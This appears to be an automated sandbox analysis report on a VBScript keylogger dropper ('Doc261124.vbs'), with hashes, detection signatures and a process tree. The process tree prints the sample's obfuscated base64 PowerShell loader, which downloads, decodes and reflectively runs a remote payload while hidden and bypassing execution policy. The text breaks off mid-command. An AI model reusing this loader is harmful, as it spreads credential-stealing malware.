Edit tour
Windows
Analysis Report
Doc261124.vbs
Overview
General Information
| Sample name: | Doc261124.vbs |
| Analysis ID: | 1562920 |
| MD5: | 3e9ccaacccb792299a0b1c12b537817e |
| SHA1: | 4f2707cf3bc5216ab4e41265c00a9264edb3edd6 |
| SHA256: | 5a813cfc61c2b1c738d0c5785812dc28f461631a70d98b970fc9810f709dbd94 |
| Tags: | vbsuser-abuse_ch |
| Infos: |   |
 | |
Detection
Snake Keylogger, VIP Keylogger
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Malicious sample detected (through community Yara rule)
Suricata IDS alerts for network traffic
System process connects to network (likely due to code injection or exploit)
VBScript performs obfuscated calls to suspicious functions
Yara detected Powershell download and execute
Yara detected Snake Keylogger
Yara detected Telegram RAT
Yara detected VBS Downloader Generic
Yara detected VIP Keylogger
AI detected suspicious sample
Bypasses PowerShell execution policy
Connects to a pastebin service (likely for C&C)
Found suspicious powershell code related to unpacking or dynamic code loading
Injects a PE file into a foreign processes
Obfuscated command line found
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Script Initiated Connection to Non-Local Network
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to detect the country of the analysis system (by using the IP)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Uses the Telegram API (likely for C&C communication)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected Generic Downloader
Allocates memory with a write watch (potentially for evading sandboxes)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to dynamically determine API calls
Contains functionality to query locales information (e.g. system language)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Script Initiated Connection
Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara detected Credential Stealer
Yara signature match
Classification
- System is w10x64
wscript.exe (PID: 7800 cmdline: C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\Doc26 1124.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) 
powershell.exe (PID: 7928 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' LiAoIChbc3 RySW5nXSR2 RXJCb1NlUH JlZkVyZU5D RSlbMSwzXS snWCctSm9p bicnKSggKC gnRUlIaW1h Z2VVcmwnKy cgPSB6TnFo dHRwczovLz MxMDUuZmls ZW1haWwuY2 9tLycrJ2Fw aS9maWxlL2 dldD9maWxl a2V5PXNoVF BIYkNQWDhv LWxPdENxSE xHNl8weEN5 LXhsNHRueG xBVmJROTUt ZHZpVEs1Y0 FSYU5kUWpi YjNtZXhmd1 F6S21UWGcm c2tpcHJlZz 10cnVlJnBr X3ZpZD1lJy snMDEwOTYz OGM5YmZiOT U3MTcnKycz MjUzMTMwOW I1ZmY3YyB6 TnE7RUlId2 ViQ2xpZW50 ID0gTmV3LU 9iamVjdCBT eXN0ZW0uTm V0LldlYkNs aWVudDtFSU hpbWFnZUJ5 dGVzID0gRU lId2ViQ2xp ZW50LkRvd2 5sb2FkRGF0 YShFSUhpbW FnZVVybCk7 RUlIaW1hZ2 VUZXgnKyd0 ID0gW1N5c3 RlbS5UZXh0 LkVuY29kaW 5nXTo6VVRG OC5HZXRTdH JpbmcoRUlI aScrJ21hZ2 VCeXRlcyk7 RUlIc3Rhcn RGbGFnID0g ek5xPDxCQV NFNjRfU1RB UlQnKyc+Pn pOcTtFSUgn KydlbmRGbG FnID0gek5x PDxCQVNFNj RfRU5EPj56 TnE7RUlIc3 QnKydhcnQn KydJbmRleC A9IEVJSGlt YWdlVGV4dC 5JbmRleE9m JysnKEVJSH N0YXJ0Rmxh Zyk7RUlIZW 4nKydkSW5k ZXggPSBFSU hpbWFnZVRl eHQuSW5kZS crJ3hPJysn ZihFSUhlbi crJ2RGbGFn KTtFSUhzdG FydEluZGV4 IC1nZSAwIC 1hbmQgRUlI ZW5kSW5kZX ggLWd0IEVJ SHN0YXJ0SW 5kZXg7RUlI c3RhcnRJbm RleCArPSBF SUhzdGFydE ZsYWcuTGVu Z3RoO0VJSG Jhc2U2NExl bmd0aCA9IE VJSGVuZElu ZGV4IC0gRU lIc3RhcnRJ bmRleDtFSU hiYXNlNjRD b20nKydtYW 5kID0gRUlI aW1hZ2VUZX h0LlN1YnN0 cmluZygnKy dFSUhzdGFy dEluZGV4LC BFSUhiYXNl JysnNjRMZW 5ndGgpO0VJ SGJhc2U2NF JldmVyc2Vk ID0gJysnLW pvaW4gKEVJ SGJhc2U2NE NvbW1hbmQu VG9DaGFyQX JyYXkoKSBP VEYgRm9yRW FjaC1PYmpl Y3QgeyBFSU hfIH0pWy0x Li4tJysnKE VJSGJhc2U2 NENvbW1hbm QuTGVuZ3Ro KV07RScrJ0 lIY29tbWFu ZEJ5dGVzID 0gW1N5c3Rl bS5Db252ZX J0XTo6RnJv bUJhc2U2NF N0cmluZyhF SUgnKydiYX NlJysnNjRS ZXZlcnNlZC k7RUlIbG9h ZGVkQXNzZW 1ibHkgPSBb UycrJ3lzdG VtLlJlZmxl Y3Rpb24uQX NzZW1ibHld OjpMb2FkKE VJSGNvbW1h bmQnKydCeX Rlcyk7RUlI dmFpTWV0aG 9kID0gW2Ru bGliLklPLk hvbWVdLkdl dE1ldGhvZC h6TnFWQUl6 TnEpO0VJSH ZhaU1ldGhv ZC5JbnZva2 UoRUlIbnVs bCwgQCh6Tn F0eHQucnNl Zy95ZicrJ2 cnKycvdWUu cmVsbG9ydy crJ3Noc3Vw LnYnKydicy 8vOnAnKyd0 dGgnKyd6Tn EsIHpOcWRl c2F0JysnaX ZhZG96TnEs IHpOcWRlc2 EnKyd0aXZh ZG96JysnTn EsIHpOJysn cWRlc2F0aX ZhZG96TnEs JysnIHpOcW Rlc2F0aXZh ZG96TnEsIH pOcTEnKyd6 TnEsIHpOcU 9uZURyaXZl U2V0dXB6Tn EsIHpOcWRl c2F0aXZhZG 96TnEsIHpO cWRlc2F0aX ZhZG96TnEs ek5xZGVzYX RpdmFkb3pO cSx6TnFkJy snZXNhdGl2 YWRvek5xLH pOcWRlc2F0 aXZhJysnZG 96TnEsek5x MXpOcSx6Tn FkZXMnKydh dCcrJ2l2YW Rvek5xKSk7 JykgIC1DUk VQbGFjZSd6 TnEnLFtDaE FSXTM5IC1y ZXBsQWNlIC hbQ2hBUl02 OStbQ2hBUl 03MytbQ2hB Ul03MiksW0 NoQVJdMzYt cmVwbEFjZS AoW0NoQVJd NzkrW0NoQV JdODQrW0No QVJdNzApLF tDaEFSXTEy NCkp';$OWj uxd = [sys tem.Text.e ncoding]:: UTF8.GetSt ring([syst em.Convert ]::Frombas e64String( $codigo)); powershell .exe -wind owstyle hi dden -exec utionpolic y bypass - NoProfile -command $